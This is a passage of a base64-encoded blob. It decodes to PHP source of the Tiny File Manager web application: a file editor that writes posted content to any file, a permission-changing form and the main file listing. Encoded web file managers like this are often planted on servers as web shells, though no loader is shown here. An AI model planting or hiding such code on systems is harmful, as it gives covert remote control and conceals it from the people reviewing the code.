yAvLyBjdXJyZW50IHBhdGgKCiAgICAkZmlsZV91cmwgPSBGTV9ST09UX1VSTCAuIGZtX2NvbnZlcnRfd2luKChGTV9QQVRIICE9ICcnID8gJy8nIC4gRk1fUEFUSCA6ICcnKSAuICcvJyAuICRmaWxlKTsKICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICcvJyAuICRmaWxlOwoKICAgIC8vIG5vcm1hbCBlZGl0ZXIKICAgICRpc05vcm1hbEVkaXRvciA9IHRydWU7CiAgICBpZiAoaXNzZXQoJF9HRVRbJ2VudiddKSkgewogICAgICAgIGlmICgkX0dFVFsnZW52J10gPT0gImFjZSIpIHsKICAgICAgICAgICAgJGlzTm9ybWFsRWRpdG9yID0gZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgIC8vIFNhdmUgRmlsZQogICAgaWYgKGlzc2V0KCRfUE9TVFsnc2F2ZWRhdGEnXSkpIHsKICAgICAgICAkd3JpdGVkYXRhID0gJF9QT1NUWydzYXZlZGF0YSddOwogICAgICAgICRmZCA9IGZvcGVuKCRmaWxlX3BhdGgsICJ3Iik7CiAgICAgICAgQGZ3cml0ZSgkZmQsICR3cml0ZWRhdGEpOwogICAgICAgIGZjbG9zZSgkZmQpOwogICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIFNhdmVkIFN1Y2Nlc3NmdWxseScpKTsKICAgIH0KCiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19FWFRFTlNJT04pKTsKICAgICRtaW1lX3R5cGUgPSBmbV9nZXRfbWltZV90eXBlKCRmaWxlX3BhdGgpOwogICAgJGZpbGVzaXplID0gZmlsZXNpemUoJGZpbGVfcGF0aCk7CiAgICAkaXNfdGV4dCA9IGZhbHNlOwogICAgJGNvbnRlbnQgPSAnJzsgLy8gZm9yIHRleHQKCiAgICBpZiAoaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X3RleHRfZXh0cygpKSB8fCBzdWJzdHIoJG1pbWVfdHlwZSwgMCwgNCkgPT0gJ3RleHQnIHx8IGluX2FycmF5KCRtaW1lX3R5cGUsIGZtX2dldF90ZXh0X21pbWVzKCkpKSB7CiAgICAgICAgJGlzX3RleHQgPSB0cnVlOwogICAgICAgICRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGZpbGVfcGF0aCk7CiAgICB9CgogICAgPz4KICAgIDxkaXYgY2xhc3M9InBhdGgiPgogICAgICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC14cy0xMiBjb2wtc20tNSBjb2wtbGctNiBwdC0xIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImJ0bi10b29sYmFyIiByb2xlPSJ0b29sYmFyIj4KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoISRpc05vcm1hbEVkaXRvcikgeyA/PgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJidG4tZ3JvdXAganMtYWNlLXRvb2xiYXIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBkYXRhLWNtZD0ibm9uZSIgZGF0YS1vcHRpb249ImZ1bGxzY3JlZW4iIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeSIgaWQ9ImpzLWFjZS1mdWxsc2NyZWVuIiB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0Z1bGxzY3JlZW4nKSA/PiI+PGkgY2xhc3M9ImZhIGZhLWV4cGFuZCIgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdGdWxsc2NyZWVuJykgPz4iPjwvaT48L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9ImZpbmQiIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeSIgaWQ9ImpzLWFjZS1zZWFyY2giIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnU2VhcmNoJykgPz4iPjxpIGNsYXNzPSJmYSBmYS1zZWFyY2giIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnU2VhcmNoJykgPz4iPjwvaT48L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9InVuZG8iIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeSIgaWQ9ImpzLWFjZS11bmRvIiB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ1VuZG8nKSA/PiI+PGkgY2xhc3M9ImZhIGZhLXVuZG8iIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnVW5kbycpID8+Ij48L2k+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPSJyZWRvIiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnkiIGlkPSJqcy1hY2UtcmVkbyIgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdSZWRvJykgPz4iPjxpIGNsYXNzPSJmYSBmYS1yZXBlYXQiIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnUmVkbycpID8+Ij48L2k+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPSJub25lIiBkYXRhLW9wdGlvbj0id3JhcCIgY2xhc3M9ImJ0biBidG4tc20gYnRuLW91dGxpbmUtc2Vjb25kYXJ5IiBpZD0ianMtYWNlLXdvcmRXcmFwIiB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ1dvcmQgV3JhcCcpID8+Ij48aSBjbGFzcz0iZmEgZmEtdGV4dC13aWR0aCIgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdXb3JkIFdyYXAnKSA/PiI+PC9pPjwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBpZD0ianMtYWNlLW1vZGUiIGRhdGEtdHlwZT0ibW9kZSIgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdTZWxlY3QgRG9jdW1lbnQgVHlwZScpID8+IiBjbGFzcz0iYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLW1kLWJsb2NrIj48b3B0aW9uPi0tIDw/cGhwIGVjaG8gbG5nKCdTZWxlY3QgTW9kZScpID8+IC0tPC9vcHRpb24+PC9zZWxlY3Q+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGlkPSJqcy1hY2UtdGhlbWUiIGRhdGEtdHlwZT0idGhlbWUiIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnU2VsZWN0IFRoZW1lJykgPz4iIGNsYXNzPSJidG4tb3V0bGluZS1zZWNvbmRhcnkgYm9yZGVyLXN0YXJ0LTAgZC1ub25lIGQtbGctYmxvY2siPjxvcHRpb24+LS0gPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBUaGVtZScpID8+IC0tPC9vcHRpb24+PC9zZWxlY3Q+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGlkPSJqcy1hY2UtZm9udFNpemUiIGRhdGEtdHlwZT0iZm9udFNpemUiIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnU2VsZWN0IEZvbnQgU2l6ZScpID8+IiBjbGFzcz0iYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLWxnLWJsb2NrIj48b3B0aW9uPi0tIDw/cGhwIGVjaG8gbG5nKCdTZWxlY3QgRm9udCBTaXplJykgPz4gLS08L29wdGlvbj48L3NlbGVjdD4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJlZGl0LWZpbGUtYWN0aW9ucyBjb2wteHMtMTIgY29sLXNtLTcgY29sLWxnLTYgdGV4dC1lbmQgcHQtMSI+CiAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0JhY2snKSA/PiIgY2xhc3M9ImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeSIgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIKSkgPz4mdmlldz08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4iPjxpIGNsYXNzPSJmYSBmYS1yZXBseS1hbGwiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0JhY2snKSA/PjwvYT4KICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnQmFja1VwJykgPz4iIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXByaW1hcnkiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImJhY2t1cCgnPD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIKSkgPz4nLCc8P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4nKSI+PGkgY2xhc3M9ImZhIGZhLWRhdGFiYXNlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdCYWNrVXAnKSA/PjwvYT4KICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkaXNfdGV4dCkgeyA/PgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkaXNOb3JtYWxFZGl0b3IpIHsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9IkFkdmFuY2VkIiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1wcmltYXJ5IiBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZlZGl0PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PiZlbnY9YWNlIj48aSBjbGFzcz0iZmEgZmEtcGVuY2lsLXNxdWFyZS1vIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZEVkaXRvcicpID8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tc20gYnRuLXN1Y2Nlc3MiIG5hbWU9IlNhdmUiIGRhdGEtdXJsPSI8P3BocCBlY2hvIGZtX2VuYygkZmlsZV91cmwpID8+IiBvbmNsaWNrPSJlZGl0X3NhdmUodGhpcywnbnJsJykiPjxpIGNsYXNzPSJmYSBmYS1mbG9wcHktbyI+PC9pPiBTYXZlCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gZWxzZSB7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSJQbGFpbiBFZGl0b3IiIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXByaW1hcnkiIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCkpID8+JmVkaXQ9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+Ij48aSBjbGFzcz0iZmEgZmEtdGV4dC1oZWlnaHQiPjwvaT4gPD9waHAgZWNobyBsbmcoJ05vcm1hbEVkaXRvcicpID8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tc20gYnRuLXN1Y2Nlc3MiIG5hbWU9IlNhdmUiIGRhdGEtdXJsPSI8P3BocCBlY2hvIGZtX2VuYygkZmlsZV91cmwpID8+IiBvbmNsaWNrPSJlZGl0X3NhdmUodGhpcywnYWNlJykiPjxpIGNsYXNzPSJmYSBmYS1mbG9wcHktbyI+PC9pPiA8P3BocCBlY2hvIGxuZygnU2F2ZScpID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz4KICAgICAgICAgICAgICAgIDw/cGhwIH0gPz4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPD9waHAKICAgICAgICBpZiAoJGlzX3RleHQgJiYgJGlzTm9ybWFsRWRpdG9yKSB7CiAgICAgICAgICAgIGVjaG8gJzx0ZXh0YXJlYXBvcG9qaWNtcyBjbGFzcz0ibXQtMiIgaWQ9Im5vcm1hbC1lZGl0b3IiIHJvd3M9IjMzIiBjb2xzPSIxMjAiIHN0eWxlPSJ3aWR0aDogOTkuNSU7Ij4nIC4gaHRtbHNwZWNpYWxjaGFycygkY29udGVudCkgLiAnPC90ZXh0YXJlYXBvcG9qaWNtcz4nOwogICAgICAgICAgICBlY2hvICc8c2NyaXB0PmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoImtleWRvd24iLCBmdW5jdGlvbihlKSB7aWYgKCh3aW5kb3cubmF2aWdhdG9yLnBsYXRmb3JtLm1hdGNoKCJNYWMiKSA/IGUubWV0YUtleSA6IGUuY3RybEtleSkgICYmIGUua2V5Q29kZSA9PSA4MykgeyBlLnByZXZlbnREZWZhdWx0KCk7ZWRpdF9zYXZlKHRoaXMsIm5ybCIpO319LCBmYWxzZSk7PC9zY3JpcHQ+JzsKICAgICAgICB9IGVsc2VpZiAoJGlzX3RleHQpIHsKICAgICAgICAgICAgZWNobyAnPGRpdiBpZD0iZWRpdG9yIiBjb250ZW50ZWRpdGFibGU9InRydWUiPicgLiBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KSAuICc8L2Rpdj4nOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdGSUxFIEVYVEVOU0lPTiBIQVMgTk9UIFNVUFBPUlRFRCcpLCAnZXJyb3InKTsKICAgICAgICB9CiAgICAgICAgPz4KICAgIDwvZGl2PgogICAgPD9waHAKICAgIGZtX3Nob3dfZm9vdGVyKCk7CiAgICBleGl0Owp9CgovLyBjaG1vZCAobm90IGZvciBXaW5kb3dzKQppZiAoaXNzZXQoJF9HRVRbJ2NobW9kJ10pICYmICFGTV9SRUFET05MWSAmJiAhRk1fSVNfV0lOKSB7CiAgICAkZmlsZSA9ICRfR0VUWydjaG1vZCddOwogICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlKTsKICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJy8nLCAnJywgJGZpbGUpOwogICAgaWYgKCRmaWxlID09ICcnIHx8ICghaXNfZmlsZSgkcGF0aCAuICcvJyAuICRmaWxlKSAmJiAhaXNfZGlyKCRwYXRoIC4gJy8nIC4gJGZpbGUpKSkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTsKICAgICAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7CiAgICB9CgogICAgZm1fc2hvd19oZWFkZXIoKTsgLy8gSEVBREVSCiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpOyAvLyBjdXJyZW50IHBhdGgKCiAgICAkZmlsZV91cmwgPSBGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJy8nIC4gRk1fUEFUSCA6ICcnKSAuICcvJyAuICRmaWxlOwogICAgJGZpbGVfcGF0aCA9ICRwYXRoIC4gJy8nIC4gJGZpbGU7CgogICAgJG1vZGUgPSBmaWxlcGVybXMoJHBhdGggLiAnLycgLiAkZmlsZSk7CiAgICA/PgogICAgPGRpdiBjbGFzcz0icGF0aCI+CiAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCBtYi0yIDw/cGhwIGVjaG8gZm1fZ2V0X3RoZW1lKCk7ID8+Ij4KICAgICAgICAgICAgPGg2IGNsYXNzPSJjYXJkLWhlYWRlciI+CiAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnQ2hhbmdlUGVybWlzc2lvbnMnKSA/PgogICAgICAgICAgICA8L2g2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWJvZHkiPgogICAgICAgICAgICAgICAgPHAgY2xhc3M9ImNhcmQtdGV4dCI+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgJGRpc3BsYXlfcGF0aCA9IGZtX2dldF9kaXNwbGF5X3BhdGgoJGZpbGVfcGF0aCk7ID8+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyAkZGlzcGxheV9wYXRoWydsYWJlbCddOyA/PjogPD9waHAgZWNobyAkZGlzcGxheV9wYXRoWydwYXRoJ107ID8+PGJyPgogICAgICAgICAgICAgICAgPC9wPgogICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icCIgdmFsdWU9Ijw/cGhwIGVjaG8gZm1fZW5jKEZNX1BBVEgpID8+Ij4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjaG1vZCIgdmFsdWU9Ijw/cGhwIGVjaG8gZm1fZW5jKCRmaWxlKSA/PiI+CgogICAgICAgICAgICAgICAgICAgIDx0YWJsZSBjbGFzcz0idGFibGUgY29tcGFjdC10YWJsZSA8P3BocCBlY2hvIGZtX2dldF90aGVtZSgpOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxiPjw/cGhwIGVjaG8gbG5nKCdPd25lcicpID8+PC9iPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGI+PD9waHAgZWNobyBsbmcoJ0dyb3VwJykgPz48L2I+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Yj48P3BocCBlY2hvIGxuZygnT3RoZXInKSA/PjwvYj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0Ij48Yj48P3BocCBlY2hvIGxuZygnUmVhZCcpID8+PC9iPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idXIiIHZhbHVlPSIxIjw/cGhwIGVjaG8gKCRtb2RlICYgMDA0MDApID8gJyBjaGVja2VkJyA6ICcnID8+PjwvbGFiZWw+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJnciIgdmFsdWU9IjEiPD9waHAgZWNobyAoJG1vZGUgJiAwMDA0MCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PC9sYWJlbD48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im9yIiB2YWx1ZT0iMSI8P3BocCBlY2hvICgkbW9kZSAmIDAwMDA0KSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0idGV4dC1hbGlnbjogcmlnaHQiPjxiPjw/cGhwIGVjaG8gbG5nKCdXcml0ZScpID8+PC9iPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idXciIHZhbHVlPSIxIjw/cGhwIGVjaG8gKCRtb2RlICYgMDAyMDApID8gJyBjaGVja2VkJyA6ICcnID8+PjwvbGFiZWw+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJndyIgdmFsdWU9IjEiPD9waHAgZWNobyAoJG1vZGUgJiAwMDAyMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PC9sYWJlbD48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im93IiB2YWx1ZT0iMSI8P3BocCBlY2hvICgkbW9kZSAmIDAwMDAyKSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0idGV4dC1hbGlnbjogcmlnaHQiPjxiPjw/cGhwIGVjaG8gbG5nKCdFeGVjdXRlJykgPz48L2I+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ1eCIgdmFsdWU9IjEiPD9waHAgZWNobyAoJG1vZGUgJiAwMDEwMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PC9sYWJlbD48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Imd4IiB2YWx1ZT0iMSI8P3BocCBlY2hvICgkbW9kZSAmIDAwMDEwKSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ib3giIHZhbHVlPSIxIjw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMDEpID8gJyBjaGVja2VkJyA6ICcnID8+PjwvbGFiZWw+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgoKICAgICAgICAgICAgICAgICAgICA8cD4KICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PiI+IAogICAgICAgICAgICAgICAgICAgICAgICA8Yj48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiIgY2xhc3M9ImJ0biBidG4tb3V0bGluZS1wcmltYXJ5Ij48aSBjbGFzcz0iZmEgZmEtdGltZXMtY2lyY2xlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjwvYT48L2I+wqAKICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXN1Y2Nlc3MiPjxpIGNsYXNzPSJmYSBmYS1jaGVjay1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0NoYW5nZScpID8+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgPC9wPgogICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgogICAgPD9waHAKICAgIGZtX3Nob3dfZm9vdGVyKCk7CiAgICBleGl0Owp9CgovLyAtLS0gVElOWUZJTEVNQU5BR0VSIE1BSU4gLS0tCmZtX3Nob3dfaGVhZGVyKCk7IC8vIEhFQURFUgpmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpOyAvLyBjdXJyZW50IHBhdGgKCi8vIHNob3cgYWxlcnQgbWVzc2FnZXMKZm1fc2hvd19tZXNzYWdlKCk7CgokbnVtX2ZpbGVzID0gY291bnQoJGZpbGVzKTsKJG51bV9mb2xkZXJzID0gY291bnQoJGZvbGRlcnMpOwokYWxsX2ZpbGVzX3NpemUgPSAwOwokdGFibGVUaGVtZSA9IChGTV9USEVNRSA9PSAiZGFyayIpID8gInRleHQtd2hpdGUgYmctZGFyayB0YWJsZS1kYXJrIiA6ICJiZy13aGl0ZSI7Cj8+Cjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGNsYXNzPSJwdC0zIj4KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InAiIHZhbHVlPSI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PiI+CiAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJncm91cCIgdmFsdWU9IjEiPgogICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idG9rZW4iIHZhbHVlPSI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz4iPgogICAgPGRpdiBjbGFzcz0idGFibGUtcmVzcG9uc2l2ZSI+CiAgICAgICAgPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ib3JkZXJlZCB0YWJsZS1ob3ZlciB0YWJsZS1zbSA8P3BocCBlY2hvICR0YWJsZVRoZW1lOyA/PiIgaWQ9Im1haW4tdGFibGUiPgogICAgICAgICAgICA8dGhlYWQgY2xhc3M9InRoZWFkLXdoaXRlIj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+CiAgICAgICAgICAgICAgICAgICAgPHRoIHN0eWxlPSJ3aWR0aDozJSIgY2xhc3M9ImN1c3RvbS1jaGVja2JveC1oZWFkZXIiPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3giPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBjbGFzcz0iY3VzdG9tLWNvbnRyb2wtaW5wdXQiIGlkPSJqcy1zZWxlY3QtYWxsLWl0ZW1zIiBvbmNsaWNrPSJjaGVja2JveF90b2dnbGUoKSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImN1c3RvbS1jb250cm9sLWxhYmVsIiBmb3I9ImpzLXNlbGVjdC1hbGwtaXRlbXMiPjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvdGg+PD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ05hbWUnKSA/PjwvdGg+CiAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ1NpemUnKSA/PjwvdGg+CiAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ01vZGlmaWVkJykgPz48L3RoPgogICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9JU19XSU4gJiYgISRoaWRlX0NvbHMpOiA/PgogICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnUGVybXMnKSA/PjwvdGg+CiAgICAgICAgICAgICAgICAgICAgPHRoPjw/cGhwIGVjaG8gbG5nKCdPd25lcicpID8+PC90aD48P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnQWN0aW9ucycpID8+PC90aD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90aGVhZD4KICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgLy8gbGluayB0byBwYXJlbnQgZm9sZGVyCiAgICAgICAgICAgIGlmICgkcGFyZW50ICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgPz4KICAgICAgICAgICAgICAgIDx0cj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9Im5vc29ydCI+PC90ZD48P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImJvcmRlci0wIiBkYXRhLXNvcnQ+PGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoJHBhcmVudCkgPz4iPjxpIGNsYXNzPSJmYSBmYS1jaGV2cm9uLWNpcmNsZS1sZWZ0IGdvLWJhY2siPjwvaT4gLi48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImJvcmRlci0wIiBkYXRhLW9yZGVyPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJib3JkZXItMCIgZGF0YS1vcmRlcj48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iYm9yZGVyLTAiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9JU19XSU4gJ